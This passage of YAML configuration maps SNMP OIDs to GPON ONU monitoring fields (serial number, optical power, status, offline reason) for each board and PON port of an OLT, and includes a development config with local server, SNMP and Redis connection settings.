133 | onu_ip_address : ".3.50.16.1.1.10.268503040"
134 | onu_description : ".500.10.2.3.3.1.3.285278472"
135 | onu_last_online_time: ".500.10.2.3.8.1.5.285278472"
136 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278472"
137 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278472"
138 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278472"
139 |
140 | Board1Pon9:
141 | onu_id_name : ".500.10.2.3.3.1.2.285278473"
142 | onu_type: ".3.50.11.2.1.17.268503296"
143 | onu_serial_number : ".500.10.2.3.3.1.18.285278473"
144 | onu_rx_power: ".500.20.2.2.2.1.10.285278473"
145 | onu_tx_power: ".3.50.12.1.1.14.268503296"
146 | onu_status_id : ".500.10.2.3.8.1.4.285278473"
147 | onu_ip_address : ".3.50.16.1.1.10.268503296"
148 | onu_description : ".500.10.2.3.3.1.3.285278473"
149 | onu_last_online_time: ".500.10.2.3.8.1.5.285278473"
150 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278473"
151 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278473"
152 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278473"
153 |
154 | Board1Pon10:
155 | onu_id_name : ".500.10.2.3.3.1.2.285278474"
156 | onu_type: ".3.50.11.2.1.17.268503552"
157 | onu_serial_number : ".500.10.2.3.3.1.18.285278474"
158 | onu_rx_power: ".500.20.2.2.2.1.10.285278474"
159 | onu_tx_power: ".3.50.12.1.1.14.268503552"
160 | onu_status_id : ".500.10.2.3.8.1.4.285278474"
161 | onu_ip_address : ".3.50.16.1.1.10.268503552"
162 | onu_description : ".500.10.2.3.3.1.3.285278474"
163 | onu_last_online_time: ".500.10.2.3.8.1.5.285278474"
164 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278474"
165 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278474"
166 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278474"
167 |
168 | Board1Pon11:
169 | onu_id_name : ".500.10.2.3.3.1.2.285278475"
170 | onu_type: ".3.50.11.2.1.17.268503808"
171 | onu_serial_number : ".500.10.2.3.3.1.18.285278475"
172 | onu_rx_power: ".500.20.2.2.2.1.10.285278475"
173 | onu_tx_power: ".3.50.12.1.1.14.268503808"
174 | onu_status_id : ".500.10.2.3.8.1.4.285278475"
175 | onu_ip_address : ".3.50.16.1.1.10.268503808"
176 | onu_description : ".500.10.2.3.3.1.3.285278475"
177 | onu_last_online_time: ".500.10.2.3.8.1.5.285278475"
178 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278475"
179 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278475"
180 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278475"
181 |
182 | Board1Pon12:
183 | onu_id_name : ".500.10.2.3.3.1.2.285278476"
184 | onu_type: ".3.50.11.2.1.17.268504064"
185 | onu_serial_number : ".500.10.2.3.3.1.18.285278476"
186 | onu_rx_power: ".500.20.2.2.2.1.10.285278476"
187 | onu_tx_power: ".3.50.12.1.1.14.268504064"
188 | onu_status_id : ".500.10.2.3.8.1.4.285278476"
189 | onu_ip_address : ".3.50.16.1.1.10.268504064"
190 | onu_description : ".500.10.2.3.3.1.3.285278476"
191 | onu_last_online_time: ".500.10.2.3.8.1.5.285278476"
192 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278476"
193 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278476"
194 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278476"
195 |
196 | Board1Pon13:
197 | onu_id_name : ".500.10.2.3.3.1.2.285278477"
198 | onu_type: ".3.50.11.2.1.17.268504320"
199 | onu_serial_number : ".500.10.2.3.3.1.18.285278477"
200 | onu_rx_power: ".500.20.2.2.2.1.10.285278477"
201 | onu_tx_power: ".3.50.12.1.1.14.268504320"
202 | onu_status_id : ".500.10.2.3.8.1.4.285278477"
203 | onu_ip_address : ".3.50.16.1.1.10.268504320"
204 | onu_description : ".500.10.2.3.3.1.3.285278477"
205 | onu_last_online_time: ".500.10.2.3.8.1.5.285278477"
206 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278477"
207 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278477"
208 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278477"
209 |
210 | Board1Pon14:
211 | onu_id_name : ".500.10.2.3.3.1.2.285278478"
212 | onu_type: ".3.50.11.2.1.17.268504576"
213 | onu_serial_number : ".500.10.2.3.3.1.18.285278478"
214 | onu_rx_power: ".500.20.2.2.2.1.10.285278478"
215 | onu_tx_power: ".3.50.12.1.1.14.268504576"
216 | onu_status_id : ".500.10.2.3.8.1.4.285278478"
217 | onu_ip_address : ".3.50.16.1.1.10.268504576"
218 | onu_description : ".500.10.2.3.3.1.3.285278478"
219 | onu_last_online_time: ".500.10.2.3.8.1.5.285278478"
220 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278478"
221 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278478"
222 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278478"
223 |
224 | Board1Pon15:
225 | onu_id_name : ".500.10.2.3.3.1.2.285278479"
226 | onu_type: ".3.50.11.2.1.17.268504832"
227 | onu_serial_number : ".500.10.2.3.3.1.18.285278479"
228 | onu_rx_power: ".500.20.2.2.2.1.10.285278479"
229 | onu_tx_power: ".3.50.12.1.1.14.268504832"
230 | onu_status_id : ".500.10.2.3.8.1.4.285278479"
231 | onu_ip_address : ".3.50.16.1.1.10.268504832"
232 | onu_description : ".500.10.2.3.3.1.3.285278479"
233 | onu_last_online_time: ".500.10.2.3.8.1.5.285278479"
234 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278479"
235 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278479"
236 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278479"
237 |
238 | Board1Pon16:
239 | onu_id_name : ".500.10.2.3.3.1.2.285278480"
240 | onu_type: ".3.50.11.2.1.17.268505088"
241 | onu_serial_number : ".500.10.2.3.3.1.18.285278480"
242 | onu_rx_power: ".500.20.2.2.2.1.10.285278480"
243 | onu_tx_power: ".3.50.12.1.1.14.268505088"
244 | onu_status_id : ".500.10.2.3.8.1.4.285278480"
245 | onu_ip_address : ".3.50.16.1.1.10.268505088"
246 | onu_description : ".500.10.2.3.3.1.3.285278480"
247 | onu_last_online_time: ".500.10.2.3.8.1.5.285278480"
248 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278480"
249 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278480"
250 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278480"
251 |
252 | Board2Pon1:
253 | onu_id_name : ".500.10.2.3.3.1.2.285278721"
254 | onu_type: ".3.50.11.2.1.17.268566784"
255 | onu_serial_number : ".500.10.2.3.3.1.18.285278721"
256 | onu_rx_power: ".500.20.2.2.2.1.10.285278721"
257 | onu_tx_power: ".3.50.12.1.1.14.268566784"
258 | onu_status_id : ".500.10.2.3.8.1.4.285278721"
259 | onu_ip_address : ".3.50.16.1.1.10.268566784"
260 | onu_description : ".500.10.2.3.3.1.3.285278721"
261 | onu_last_online_time: ".500.10.2.3.8.1.5.285278721"
262 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278721"
263 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278721"
264 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278721"
265 |
266 | Board2Pon2:
267 | onu_id_name : ".500.10.2.3.3.1.2.285278722"
268 | onu_type: ".3.50.11.2.1.17.268567040"
269 | onu_serial_number : ".500.10.2.3.3.1.18.285278722"
270 | onu_rx_power: ".500.20.2.2.2.1.10.285278722"
271 | onu_tx_power: ".3.50.12.1.1.14.268567040"
272 | onu_status_id : ".500.10.2.3.8.1.4.285278722"
273 | onu_ip_address : ".3.50.16.1.1.10.268567040"
274 | onu_description : ".500.10.2.3.3.1.3.285278722"
275 | onu_last_online_time: ".500.10.2.3.8.1.5.285278722"
276 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278722"
277 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278722"
278 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278722"
279 |
280 | Board2Pon3:
281 | onu_id_name : ".500.10.2.3.3.1.2.285278723"
282 | onu_type: ".3.50.11.2.1.17.268567296"
283 | onu_serial_number : ".500.10.2.3.3.1.18.285278723"
284 | onu_rx_power: ".500.20.2.2.2.1.10.285278723"
285 | onu_tx_power: ".3.50.12.1.1.14.268567296"
286 | onu_status_id : ".500.10.2.3.8.1.4.285278723"
287 | onu_ip_address : ".3.50.16.1.1.10.268567296"
288 | onu_description : ".500.10.2.3.3.1.3.285278723"
289 | onu_last_online_time: ".500.10.2.3.8.1.5.285278723"
290 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278723"
291 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278723"
292 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278723"
293 |
294 |
295 | Board2Pon4:
296 | onu_id_name : ".500.10.2.3.3.1.2.285278724"
297 | onu_type: ".3.50.11.2.1.17.268567552"
298 | onu_serial_number : ".500.10.2.3.3.1.18.285278724"
299 | onu_rx_power: ".500.20.2.2.2.1.10.285278724"
300 | onu_tx_power: ".3.50.12.1.1.14.268567552"
301 | onu_status_id : ".500.10.2.3.8.1.4.285278724"
302 | onu_ip_address : ".3.50.16.1.1.10.268567552"
303 | onu_description : ".500.10.2.3.3.1.3.285278724"
304 | onu_last_online_time: ".500.10.2.3.8.1.5.285278724"
305 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278724"
306 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278724"
307 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278724"
308 |
309 |
310 | Board2Pon5:
311 | onu_id_name : ".500.10.2.3.3.1.2.285278725"
312 | onu_type: ".3.50.11.2.1.17.268567808"
313 | onu_serial_number : ".500.10.2.3.3.1.18.285278725"
314 | onu_rx_power: ".500.20.2.2.2.1.10.285278725"
315 | onu_tx_power: ".3.50.12.1.1.14.268567808"
316 | onu_status_id : ".500.10.2.3.8.1.4.285278725"
317 | onu_ip_address : ".3.50.16.1.1.10.268567808"
318 | onu_description : ".500.10.2.3.3.1.3.285278725"
319 | onu_last_online_time: ".500.10.2.3.8.1.5.285278725"
320 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278725"
321 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278725"
322 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278725"
323 |
324 | Board2Pon6:
325 | onu_id_name : ".500.10.2.3.3.1.2.285278726"
326 | onu_type: ".3.50.11.2.1.17.268568064"
327 | onu_serial_number : ".500.10.2.3.3.1.18.285278726"
328 | onu_rx_power: ".500.20.2.2.2.1.10.285278726"
329 | onu_tx_power: ".3.50.12.1.1.14.268568064"
330 | onu_status_id : ".500.10.2.3.8.1.4.285278726"
331 | onu_ip_address : ".3.50.16.1.1.10.268568064"
332 | onu_description : ".500.10.2.3.3.1.3.285278726"
333 | onu_last_online_time: ".500.10.2.3.8.1.5.285278726"
334 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278726"
335 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278726"
336 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278726"
337 |
338 | Board2Pon7:
339 | onu_id_name : ".500.10.2.3.3.1.2.285278727"
340 | onu_type: ".3.50.11.2.1.17.268568320"
341 | onu_serial_number : ".500.10.2.3.3.1.18.285278727"
342 | onu_rx_power: ".500.20.2.2.2.1.10.285278727"
343 | onu_tx_power: ".3.50.12.1.1.14.268568320"
344 | onu_status_id : ".500.10.2.3.8.1.4.285278727"
345 | onu_ip_address : ".3.50.16.1.1.10.268568320"
346 | onu_description : ".500.10.2.3.3.1.3.285278727"
347 | onu_last_online_time: ".500.10.2.3.8.1.5.285278727"
348 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278727"
349 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278727"
350 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278727"
351 |
352 |
353 | Board2Pon8:
354 | onu_id_name : ".500.10.2.3.3.1.2.285278728"
355 | onu_type: ".3.50.11.2.1.17.268568576"
356 | onu_serial_number : ".500.10.2.3.3.1.18.285278728"
357 | onu_rx_power: ".500.20.2.2.2.1.10.285278728"
358 | onu_tx_power: ".3.50.12.1.1.14.268568576"
359 | onu_status_id : ".500.10.2.3.8.1.4.285278728"
360 | onu_ip_address : ".3.50.16.1.1.10.268568576"
361 | onu_description : ".500.10.2.3.3.1.3.285278728"
362 | onu_last_online_time: ".500.10.2.3.8.1.5.285278728"
363 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278728"
364 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278728"
365 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278728"
366 |
367 | Board2Pon9:
368 | onu_id_name : ".500.10.2.3.3.1.2.285278729"
369 | onu_type: ".3.50.11.2.1.17.268568832"
370 | onu_serial_number : ".500.10.2.3.3.1.18.285278729"
371 | onu_rx_power: ".500.20.2.2.2.1.10.285278729"
372 | onu_tx_power: ".3.50.12.1.1.14.268568832"
373 | onu_status_id : ".500.10.2.3.8.1.4.285278729"
374 | onu_ip_address : ".3.50.16.1.1.10.268568832"
375 | onu_description : ".500.10.2.3.3.1.3.285278729"
376 | onu_last_online_time: ".500.10.2.3.8.1.5.285278729"
377 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278729"
378 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278729"
379 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278729"
380 |
381 | Board2Pon10:
382 | onu_id_name : ".500.10.2.3.3.1.2.285278730"
383 | onu_type: ".3.50.11.2.1.17.268569088"
384 | onu_serial_number : ".500.10.2.3.3.1.18.285278730"
385 | onu_rx_power: ".500.20.2.2.2.1.10.285278730"
386 | onu_tx_power: ".3.50.12.1.1.14.268569088"
387 | onu_status_id : ".500.10.2.3.8.1.4.285278730"
388 | onu_ip_address : ".3.50.16.1.1.10.268569088"
389 | onu_description : ".500.10.2.3.3.1.3.285278730"
390 | onu_last_online_time: ".500.10.2.3.8.1.5.285278730"
391 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278730"
392 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278730"
393 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278730"
394 |
395 | Board2Pon11:
396 | onu_id_name : ".500.10.2.3.3.1.2.285278731"
397 | onu_type: ".3.50.11.2.1.17.268569344"
398 | onu_serial_number : ".500.10.2.3.3.1.18.285278731"
399 | onu_rx_power: ".500.20.2.2.2.1.10.285278731"
400 | onu_tx_power: ".3.50.12.1.1.14.268569344"
401 | onu_status_id : ".500.10.2.3.8.1.4.285278731"
402 | onu_ip_address : ".3.50.16.1.1.10.268569344"
403 | onu_description : ".500.10.2.3.3.1.3.285278731"
404 | onu_last_online_time: ".500.10.2.3.8.1.5.285278731"
405 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278731"
406 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278731"
407 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278731"
408 |
409 |
410 | Board2Pon12:
411 | onu_id_name : ".500.10.2.3.3.1.2.285278732"
412 | onu_type: ".3.50.11.2.1.17.268569600"
413 | onu_serial_number : ".500.10.2.3.3.1.18.285278732"
414 | onu_rx_power: ".500.20.2.2.2.1.10.285278732"
415 | onu_tx_power: ".3.50.12.1.1.14.268569600"
416 | onu_status_id : ".500.10.2.3.8.1.4.285278732"
417 | onu_ip_address : ".3.50.16.1.1.10.268569600"
418 | onu_description : ".500.10.2.3.3.1.3.285278732"
419 | onu_last_online_time: ".500.10.2.3.8.1.5.285278732"
420 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278732"
421 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278732"
422 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278732"
423 |
424 | Board2Pon13:
425 | onu_id_name : ".500.10.2.3.3.1.2.285278733"
426 | onu_type: ".3.50.11.2.1.17.268569856"
427 | onu_serial_number : ".500.10.2.3.3.1.18.285278733"
428 | onu_rx_power: ".500.20.2.2.2.1.10.285278733"
429 | onu_tx_power: ".3.50.12.1.1.14.268569856"
430 | onu_status_id : ".500.10.2.3.8.1.4.285278733"
431 | onu_ip_address : ".3.50.16.1.1.10.268569856"
432 | onu_description : ".500.10.2.3.3.1.3.285278733"
433 | onu_last_online_time: ".500.10.2.3.8.1.5.285278733"
434 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278733"
435 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278733"
436 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278733"
437 |
438 | Board2Pon14:
439 | onu_id_name : ".500.10.2.3.3.1.2.285278734"
440 | onu_type: ".3.50.11.2.1.17.268570112"
441 | onu_serial_number : ".500.10.2.3.3.1.18.285278734"
442 | onu_rx_power: ".500.20.2.2.2.1.10.285278734"
443 | onu_tx_power: ".3.50.12.1.1.14.268570112"
444 | onu_status_id : ".500.10.2.3.8.1.4.285278734"
445 | onu_ip_address : ".3.50.16.1.1.10.268570112"
446 | onu_description : ".500.10.2.3.3.1.3.285278734"
447 | onu_last_online_time: ".500.10.2.3.8.1.5.285278734"
448 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278734"
449 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278734"
450 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278734"
451 |
452 | Board2Pon15:
453 | onu_id_name : ".500.10.2.3.3.1.2.285278735"
454 | onu_type: ".3.50.11.2.1.17.268570368"
455 | onu_serial_number : ".500.10.2.3.3.1.18.285278735"
456 | onu_rx_power: ".500.20.2.2.2.1.10.285278735"
457 | onu_tx_power: ".3.50.12.1.1.14.268570368"
458 | onu_status_id : ".500.10.2.3.8.1.4.285278735"
459 | onu_ip_address : ".3.50.16.1.1.10.268570368"
460 | onu_description : ".500.10.2.3.3.1.3.285278735"
461 | onu_last_online_time: ".500.10.2.3.8.1.5.285278735"
462 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278735"
463 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278735"
464 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278735"
465 |
466 | Board2Pon16:
467 | onu_id_name : ".500.10.2.3.3.1.2.285278736"
468 | onu_type: ".3.50.11.2.1.17.268570624"
469 | onu_serial_number : ".500.10.2.3.3.1.18.285278736"
470 | onu_rx_power: ".500.20.2.2.2.1.10.285278736"
471 | onu_tx_power: ".3.50.12.1.1.14.268570624"
472 | onu_status_id : ".500.10.2.3.8.1.4.285278736"
473 | onu_ip_address : ".3.50.16.1.1.10.268570624"
474 | onu_description : ".500.10.2.3.3.1.3.285278736"
475 | onu_last_online_time: ".500.10.2.3.8.1.5.285278736"
476 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278736"
477 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278736"
478 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278736"
479 |
--------------------------------------------------------------------------------
/config/config-dev.yml:
--------------------------------------------------------------------------------
1 | ServerCfg:
2 | host : "localhost"
3 | port : "8081"
4 | mode : "development"
5 |
6 | SnmpCfg:
7 | ip : "192.168.213.174"
8 | port : "161"
9 | community : "homenetro"
10 |
11 | RedisCfg:
12 | host : "localhost"
13 | port : "6379"
14 | password : ""
15 | db : "0"
16 | default_db: 0
17 | min_idle_connections: 200
18 | pool_size: 12000
19 | pool_timeout: 240
20 |
21 | OltCfg:
22 | base_oid_1 : ".1.3.6.1.4.1.3902.1082"
23 | base_oid_2 : ".1.3.6.1.4.1.3902.1012"
24 | onu_id_name : ".500.10.2.3.3.1.2"
25 | onu_type: ".3.50.11.2.1.17"
26 |
27 | Board1Pon1:
28 | onu_id_name : ".500.10.2.3.3.1.2.285278465"
29 | onu_type: ".3.50.11.2.1.17.268501248"
30 | onu_serial_number : ".500.10.2.3.3.1.18.285278465"
31 | onu_rx_power: ".500.20.2.2.2.1.10.285278465"
32 | onu_tx_power: ".3.50.12.1.1.14.268501248"
33 | onu_status_id : ".500.10.2.3.8.1.4.285278465"
34 | onu_ip_address : ".3.50.16.1.1.10.268501248"
35 | onu_description : ".500.10.2.3.3.1.3.285278465"
36 | onu_last_online_time : ".500.10.2.3.8.1.5.285278465"
37 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278465"
38 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278465"
39 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278465"
40 |
41 | Board1Pon2:
42 | onu_id_name : ".500.10.2.3.3.1.2.285278466"
43 | onu_type: ".3.50.11.2.1.17.268501504"
44 | onu_serial_number : ".500.10.2.3.3.1.18.285278466"
45 | onu_rx_power: ".500.20.2.2.2.1.10.285278466"
46 | onu_tx_power: ".3.50.12.1.1.14.268501504"
47 | onu_status_id : ".500.10.2.3.8.1.4.285278466"
48 | onu_ip_address : ".3.50.16.1.1.10.268501504"
49 | onu_description : ".500.10.2.3.3.1.3.285278466"
50 | onu_last_online_time: ".500.10.2.3.8.1.5.285278466"
51 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278466"
52 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278466"
53 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278466"
54 |
55 | Board1Pon3:
56 | onu_id_name : ".500.10.2.3.3.1.2.285278467"
57 | onu_type: ".3.50.11.2.1.17.268501760"
58 | onu_serial_number : ".500.10.2.3.3.1.18.285278467"
59 | onu_rx_power: ".500.20.2.2.2.1.10.285278467"
60 | onu_tx_power: ".3.50.12.1.1.14.268501760"
61 | onu_status_id : ".500.10.2.3.8.1.4.285278467"
62 | onu_ip_address : ".3.50.16.1.1.10.268501760"
63 | onu_description : ".500.10.2.3.3.1.3.285278467"
64 | onu_last_online_time: ".500.10.2.3.8.1.5.285278467"
65 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278467"
66 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278467"
67 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278467"
68 |
69 | Board1Pon4:
70 | onu_id_name : ".500.10.2.3.3.1.2.285278468"
71 | onu_type: ".3.50.11.2.1.17.268502016"
72 | onu_serial_number : ".500.10.2.3.3.1.18.285278468"
73 | onu_rx_power: ".500.20.2.2.2.1.10.285278468"
74 | onu_tx_power: ".3.50.12.1.1.14.268502016"
75 | onu_status_id : ".500.10.2.3.8.1.4.285278468"
76 | onu_ip_address : ".3.50.16.1.1.10.268502016"
77 | onu_description : ".500.10.2.3.3.1.3.285278468"
78 | onu_last_online_time: ".500.10.2.3.8.1.5.285278468"
79 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278468"
80 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278468"
81 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278468"
82 |
83 |
84 | Board1Pon5:
85 | onu_id_name : ".500.10.2.3.3.1.2.285278469"
86 | onu_type: ".3.50.11.2.1.17.268502272"
87 | onu_serial_number : ".500.10.2.3.3.1.18.285278469"
88 | onu_rx_power: ".500.20.2.2.2.1.10.285278469"
89 | onu_tx_power: ".3.50.12.1.1.14.268502272"
90 | onu_status_id : ".500.10.2.3.8.1.4.285278469"
91 | onu_ip_address : ".3.50.16.1.1.10.268502272"
92 | onu_description : ".500.10.2.3.3.1.3.285278469"
93 | onu_last_online_time: ".500.10.2.3.8.1.5.285278469"
94 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278469"
95 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278469"
96 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278469"
97 |
98 | Board1Pon6:
99 | onu_id_name : ".500.10.2.3.3.1.2.285278470"
100 | onu_type: ".3.50.11.2.1.17.268502528"
101 | onu_serial_number : ".500.10.2.3.3.1.18.285278470"
102 | onu_rx_power: ".500.20.2.2.2.1.10.285278470"
103 | onu_tx_power: ".3.50.12.1.1.14.268502528"
104 | onu_status_id : ".500.10.2.3.8.1.4.285278470"
105 | onu_ip_address : ".3.50.16.1.1.10.268502528"
106 | onu_description : ".500.10.2.3.3.1.3.285278470"
107 | onu_last_online_time: ".500.10.2.3.8.1.5.285278470"
108 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278470"
109 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278470"
110 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278470"
111 |
112 | Board1Pon7:
113 | onu_id_name : ".500.10.2.3.3.1.2.285278471"
114 | onu_type: ".3.50.11.2.1.17.268502784"
115 | onu_serial_number : ".500.10.2.3.3.1.18.285278471"
116 | onu_rx_power: ".500.20.2.2.2.1.10.285278471"
117 | onu_tx_power: ".3.50.12.1.1.14.268502784"
118 | onu_status_id : ".500.10.2.3.8.1.4.285278471"
119 | onu_ip_address : ".3.50.16.1.1.10.268502784"
120 | onu_description : ".500.10.2.3.3.1.3.285278471"
121 | onu_last_online_time: ".500.10.2.3.8.1.5.285278471"
122 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278471"
123 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278471"
124 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278471"
125 |
126 | Board1Pon8:
127 | onu_id_name : ".500.10.2.3.3.1.2.285278472"
128 | onu_type: ".3.50.11.2.1.17.268503040"
129 | onu_serial_number : ".500.10.2.3.3.1.18.285278472"
130 | onu_rx_power: ".500.20.2.2.2.1.10.285278472"
131 | onu_tx_power: ".3.50.12.1.1.14.268503040"
132 | onu_status_id : ".500.10.2.3.8.1.4.285278472"
133 | onu_ip_address : ".3.50.16.1.1.10.268503040"
134 | onu_description : ".500.10.2.3.3.1.3.285278472"
135 | onu_last_online_time: ".500.10.2.3.8.1.5.285278472"
136 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278472"
137 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278472"
138 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278472"
139 |
140 | Board1Pon9:
141 | onu_id_name : ".500.10.2.3.3.1.2.285278473"
142 | onu_type: ".3.50.11.2.1.17.268503296"
143 | onu_serial_number : ".500.10.2.3.3.1.18.285278473"
144 | onu_rx_power: ".500.20.2.2.2.1.10.285278473"
145 | onu_tx_power: ".3.50.12.1.1.14.268503296"
146 | onu_status_id : ".500.10.2.3.8.1.4.285278473"
147 | onu_ip_address : ".3.50.16.1.1.10.268503296"
148 | onu_description : ".500.10.2.3.3.1.3.285278473"
149 | onu_last_online_time: ".500.10.2.3.8.1.5.285278473"
150 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278473"
151 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278473"
152 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278473"
153 |
154 | Board1Pon10:
155 | onu_id_name : ".500.10.2.3.3.1.2.285278474"
156 | onu_type: ".3.50.11.2.1.17.268503552"
157 | onu_serial_number : ".500.10.2.3.3.1.18.285278474"
158 | onu_rx_power: ".500.20.2.2.2.1.10.285278474"
159 | onu_tx_power: ".3.50.12.1.1.14.268503552"
160 | onu_status_id : ".500.10.2.3.8.1.4.285278474"
161 | onu_ip_address : ".3.50.16.1.1.10.268503552"
162 | onu_description : ".500.10.2.3.3.1.3.285278474"
163 | onu_last_online_time: ".500.10.2.3.8.1.5.285278474"
164 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278474"
165 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278474"
166 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278474"
167 |
168 | Board1Pon11:
169 | onu_id_name : ".500.10.2.3.3.1.2.285278475"
170 | onu_type: ".3.50.11.2.1.17.268503808"
171 | onu_serial_number : ".500.10.2.3.3.1.18.285278475"
172 | onu_rx_power: ".500.20.2.2.2.1.10.285278475"
173 | onu_tx_power: ".3.50.12.1.1.14.268503808"
174 | onu_status_id : ".500.10.2.3.8.1.4.285278475"
175 | onu_ip_address : ".3.50.16.1.1.10.268503808"
176 | onu_description : ".500.10.2.3.3.1.3.285278475"
177 | onu_last_online_time: ".500.10.2.3.8.1.5.285278475"
178 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278475"
179 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278475"
180 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278475"
181 |
182 | Board1Pon12:
183 | onu_id_name : ".500.10.2.3.3.1.2.285278476"
184 | onu_type: ".3.50.11.2.1.17.268504064"
185 | onu_serial_number : ".500.10.2.3.3.1.18.285278476"
186 | onu_rx_power: ".500.20.2.2.2.1.10.285278476"
187 | onu_tx_power: ".3.50.12.1.1.14.268504064"
188 | onu_status_id : ".500.10.2.3.8.1.4.285278476"
189 | onu_ip_address : ".3.50.16.1.1.10.268504064"
190 | onu_description : ".500.10.2.3.3.1.3.285278476"
191 | onu_last_online_time: ".500.10.2.3.8.1.5.285278476"
192 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278476"
193 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278476"
194 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278476"
195 |
196 | Board1Pon13:
197 | onu_id_name : ".500.10.2.3.3.1.2.285278477"
198 | onu_type: ".3.50.11.2.1.17.268504320"
199 | onu_serial_number : ".500.10.2.3.3.1.18.285278477"
